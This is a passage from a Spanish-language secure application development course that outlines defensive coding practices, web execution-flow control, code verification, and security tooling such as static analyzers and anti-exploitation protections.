at kernelpanik.org 32 Desarrollo Seguro de Aplicaciones v0.6 Beta Desarrollo Seguro de Aplicaciones http://www.kernelpanik.org frame at kernelpanik.org 33 Desarrollo Seguro de Aplicaciones v0.6 Beta Hasta este momento hemos visto un amplio surtido de errores, y hemos conseguido dar soluciones puntuales a cada uno de ellos. Es momento por tanto de abstraernos al siguiente nivel y ver en líneas generales y de forma sencilla una serie de técnicas y consideraciones que todo desarrollador debe tener en cuenta a la hora de afrontar un desarrollo de software que quiera alcanzar unos mínimos objetivos de seguridad. Antes de entrar en técnicas concretas, daremos un rápido vistazo a Common Criteria, como referente dentro de la definición de requerimientos y medidas que garanticen la seguridad de un software. No obstante, un estudio en profundidad queda fuera de los contenidos de este curso, prefiriendo dar unas ligeras pinceladas sobre ellos, para pasar a un ámbito mucho más práctico y concreto que permita un desarrollo seguro de aplicaciones. 3.1.- Técnicas para una codificación segura. Identificar los puntos críticos en una aplicación, minimizar el número de ellos, controlar el flujo de ejecución, programar bajo unos criterios conservativos, realizar un desarrollo bajo técnicas de verificación exhaustivas, así como adaptar ideas existentes actualmente en la ingeniería del software al marco de la programación segura son las ideas sobre las que girará este epígrafe. 3.1.1- Puntos críticos en la seguridad de una aplicación Analizar de forma pormenorizada los diferentes tipos de errores existentes en las aplicaciones ha sido el paso previo para perminitirnos extraer una serie de patrones comunes que nos permita generar una abstracción para conocer de antemano cuales son los puntos en los que una aplicación puede fallar. Partiendo de la idea que el código por si mismo no falla, al menos desde el momento que ese código satisface unos requerimientos de corrección sintáctica y corrección funcional mínimos. Por tanto siempre serán acciones realizadas sobre los datos las que llevaran el software a situaciones que puedan desembocar en un fallo de seguridad. Tres son las acciones que pueden llevar a él: entrada de datos, salida de datos y modificación de los mismos. A continuación las veremos una a una. 3.1.1.1.- Entrada de datos La entrada de datos es el primer punto crítico en la seguridad de una aplicación. Un incorrecto control en los datos suministrados por el usuario provoca una variada serie de problemas para la seguridad: desbordamientos de buffer, errores de formato o inyecciónes de código entre otras. Verificar que las entradas de los usuarios satisfacen de forma lógica una serie de comprobaciones sobre ellos: longitud o carácteres inapropiados entre otros, debe ser obligatorio en toda aplicación segura. http://www.kernelpanik.org frame at kernelpanik.org 34 Desarrollo Seguro de Aplicaciones v0.6 Beta 3.1.1.2.- Modificación de datos Igual que la entrada, la modificación de los datos también produce un buen número de errores de seguridad. Esta modificación puede ser desde la concatenación de dos parámetros, al incremento en el valor de un entero, por poner algunos ejemplos. Verificar que la seguridad de la aplicación se mantiene consistente tras una modificación en los datos también debe ser obligatorio en toda aplicación segura. 3.1.1.2.- Salida de datos Por último la salida de datos, bien sea a la red por un socket, bien sea al sistema de ficheros mediante la escritura en disco, también es responsable de un buen número de problemas de seguridad: condiciones de carrera, almacenamiento sin cifrado o cross-site scripting por citar algunos. Verificar que la salida de datos se realiza satifaciendo de forma lógica unos criterios de seguridad: inexistencia de carácteres inapropiados, atomicidad en las operaciones de escritura o aleatoriedad en los nombres de fichero, debe ser obligatorio en toda aquella aplicación segura. 3.1.2- Medidas para una programación segura A partir de la identificación de los puntos críticos, sumando a ello una serie de técnicas como la programación conservativa, medidas para el control del flujo de ejecución de una aplicación y llegando a una técnica de verificación exhaustiva, basada precisamente en la identificación de puntos críticos, formaremos un conjunto de normas y medidas que permitan codificar programas evitando los fallos de seguridad. 3.1.2.1.- Programación conservativa Las medidas que aseguran una programación conservativa son las siguientes: ● Comprobar siempre el resultado de cualquier llamada a una función. Nuestro software debe funcionar aunque se ejecute sobre circunstancias adversas: falta de espacio en disco, falta de espacio en memoria, o cualquier otro problema que pueda acontecer. Por tanto comprobar el retorno de una función es primordial, así como diseñar funciones que siempre retornen información útil, y no meros valores ininterpretables. ● Dotar al programa de un sistema de logs adecuado, que permita controlar su funcionamiento, su estado y sus errores. ● Minimizar siempre los privilegios necesarios para la aplicación y el tiempo que hace uso de estos. Optar siempre que exista por aquella estrategia que de respuesta al problema minimizando el número de privilegios necesarios para ello. http://www.kernelpanik.org frame at kernelpanik.org 35 Desarrollo Seguro de Aplicaciones v0.6 Beta ● Usar siempre rutas de fichero absolutas y fijar un directorio de trabajo que actue a modo de límite en el árbol de directorio, impidiendo el descenso de la aplicación por debajo del mismo. ● Ser siempre conscientes de la ejecución del proceso en un entorno multiusuario y multitarea. Evitar las condiciones de carrera. En entornos de ejecución web, percatarnos de que podrán existir múltiples instancias del proceso ejecutándose al mismo tiempo de tal forma que los recursos y el acceso a los mismos deben tener en cuenta este elemento. ● Implementar en aquellos casos en los que sea necesarios mecanismos de control de carga, que permitan limitar el número de instancias concurrentes, el tiempo de CPU, el espacio en disco, el espacio en memoria, etc. ● Forzar la compilación/interpretación con el máximo nivel de detalle en advertencias y errores. Así como usar siempre que sea posible una herramienta de verificación formal del código. ● Documentar de forma detallada el código. Esto también afecta a documentar soluciones poco elegantes, temporales, parches momentáneos, y otras miserias que el programador comete y no documenta. ● Abortar la ejecución del programa ante una situación irresoluble. Cuando se produzca dicha situación grabar un log detallado y terminar la ejecución de forma limpia: cerrando descriptores, borrando ficheros temporales, etc. ● Chequear la consistencia al inicio y a la finalización de la ejecución. Este chequeo incluye: existencia de ficheros de configuración, existencia de paths. http://www.kernelpanik.org frame at kernelpanik.org 36 Desarrollo Seguro de Aplicaciones v0.6 Beta 3.1.2.2.- Control del flujo de ejecución de la aplicación El contenido de este epígrafe está vinculado al desarrollo de aplicaciones web. En una aplicación ejecutable convencional, el flujo de ejecución está marcado por el desarrollador. Sin embargo en una aplicación web el flujo de ejecución puede ser modificado por la simple llamada a cada uno de los ficheros contenidos en el servidor web. Esta posibilidad genera una situación del todo indeseable, es decir, que la aplicación pueda ser inicializada por un usuario en múltiples puntos hace que sea necesario un control de privilegios, de acceso y de estado en cada uno de los ficheros que la componen. Esto, además de duplicar los esfuerzos, hace que el mínimo olvido de estas comprobaciones en un fichero haga ese fichero un pontencial punto de entrada inseguro a la aplicación web, que pueda explotar variables no inicializadas, parámetros no chequeados, etc. El correcto control en el flujo de ejecución debe conseguirse mediante un desarrollo MVC ( ModeloVista-Controlador ), en el cual el único fichero accesible sea el correspondiente al controlador. El resto de ficheros deben ser protegidos bien haciendo uso de los propios sistemas de protección del servidor web, bien con algún método implementado en la aplicación como definición de constantes de ejecución en el controlador, y su comprobación en cada uno de los ficheros del modelo/vista. http://www.kernelpanik.org frame at kernelpanik.org 37 Desarrollo Seguro de Aplicaciones v0.6 Beta 3.1.2.3.- Verificación exhaustiva: programación por celdas La última técnica que analizaremos será la verificación exhaustiva del código. Esta técnica, a diferencia de otras técnicas de verificación propuestas por ejemplo en metodologías como SPSMM no fundamenta su utilidad en someter a una aplicación completa a una batería de pruebas sobre parámetros de entrada/salida para obtener una posible lista de vulnerabilidades, sino de verificar el código de forma exhaustiva durante el proceso de desarrollo en busca de los puntos críticos para la seguridad, es decir, aquellas en las que se produzca una entrada, modificación o salida de datos. Esta verificación exhaustiva es útil siempre y cuando se alcance un compromiso entre desarrolladores de verificar diáriamente el código producido en busca de puntos críticos y garantizar la seguridad de los mismos. La lógica subyacente es que la concatenación de zonas verificadas y de puntos críticos en las que la seguridad ha sido garantizada originará un código libre de errores. Esta técnica pasará a ser impracticable cuando se quiera verificar de forma exhaustiva una aplicación ya desarrollada. 3.1.3- Ingeniería del software seguro La ingeniería del software busca modelos de desarrollo unificados que permitan analizar y diseñar soluciones estandarizadas. No obstante, de esta idea también podemos extraer soluciones que incrementen la seguridad de nuestras aplicaciones. La primera idea es la utilización de componentes. Los componentes son una herramienta de probada eficacia que permiten una abstracción sobre determinadas tareas a la hora de desarrollar una aplicación, así como la reutilización de los mismos tantas ocasiones como sea necesario. Un desarrollo basado en componentes de probada calidad asegurará no sólo un menor tiempo de desarrollo para acciones ya creadas con anterioridad, sino un mayor tiempo para pruebas y verificaciones. Pero esta no es la única ventaja. El uso de componentes de probada calidad, con un ciclo de vida amplio y usados en numerosos proyectos, garantiza que la seguridad de los mismos haya sido probada y revisada con anterioridad. Paralelamente a la idea del uso de componentes, está la de refactorizar componentes para incrementar tanto funcionalidad como seguridad. Una vez hemos entrado en el apartado de la refactorización. Hay que garantizar que esta no afecta únicamente a la funcionalidad del software. Es decir, que no se refactoriza código únicamente buscando la satisfacción de los requisitos funcionales pactados con el cliente, sino que esta refactorización afecta también a la seguridad del mismo. Por último, y extrayéndola de la programación extrema (XP), la programación por parejas, en la que es la pareja quien realiza la verificación exhaustiva del código generado por la otra, incrementa la velocidad y eficacia del proceso de veficación. http://www.kernelpanik.org frame at kernelpanik.org 38 Desarrollo Seguro de Aplicaciones v0.6 Beta Herramientas para la seguridad http://www.kernelpanik.org frame at kernelpanik.org 39 Desarrollo Seguro de Aplicaciones v0.6 Beta 4.1.- Herramientas de búsqueda y chequeo ● RATS: Rough Auditing Tool for Security Herramienta de auditoria de código para el entorno win32, desarrollada por la empresa securesoftware. URL: http://www.securesoftware.com ● SPLINT Implementación de LINT desarrollada por la univerisid de Virginia y liberada como GNU/GPL. Esta utilidad es incluida de forma standard en la mayoría de las distribuciones GNU/Linux actuales. URL: http://www.splint.org 4.2.- Herramientas antiexplotación Dentro de este grupo de herramientas entran soluciones como Libsafe, Stackguard o Stackshield, ambas soluciones en tiempo de compilación, y basadas en la modificación de la libc, bien para asegurar las funciones contenidas en ella, bien para trabajar con técnicas de canary-stack, o bien para usar una imagen espejo de la pila en la que chequear posibles modificaciones de la dirección de retorno. Paralelamente existen otras soluciones como exec-shield, W^X o GRSec, que implementan soluciones antiejecución de pila y heap, así como randomización del espacio de direcciones para el enlazado de librerías dinámicas. 4.3.- Mecanismos de prevención y detección de intrusiones Bajo este epígrafe agrupamos a los IDS/nIDS/wIDS, es decir, a los sistemas de detección de intrusos, cuya misión es la monitorización de la red en busca de patrones de comportamiento anormales. Así como los firewall a nivel de aplicación cuya misión es la monitorización de las conexiones al servidor web en busca de posibles ataques a este. http://www.kernelpanik.org frame at kernelpanik.org 40 Desarrollo Seguro de Aplicaciones v0.6 Beta Bibliografía ● Secure Programming for Linux and Unix HOWTO. David A. Wheeler. 2003 ● SPSMM 0.5.1. Victor A. Rodriguez. 2002 ● SQL Injection White Paper. SPI Labs. 2002 ● Smashing the stack for fun and profit. Aleph One. 1997 ● Kernelpanik Labs. Varios autores. 2002-2005. ● Phrack.org. Varios autores. 1985-2005. ● Common Criteria. NIST. 1999 ● Linux Security HOWTO. 1999. http://www.kernelpanik.org frame at kernelpanik.org 41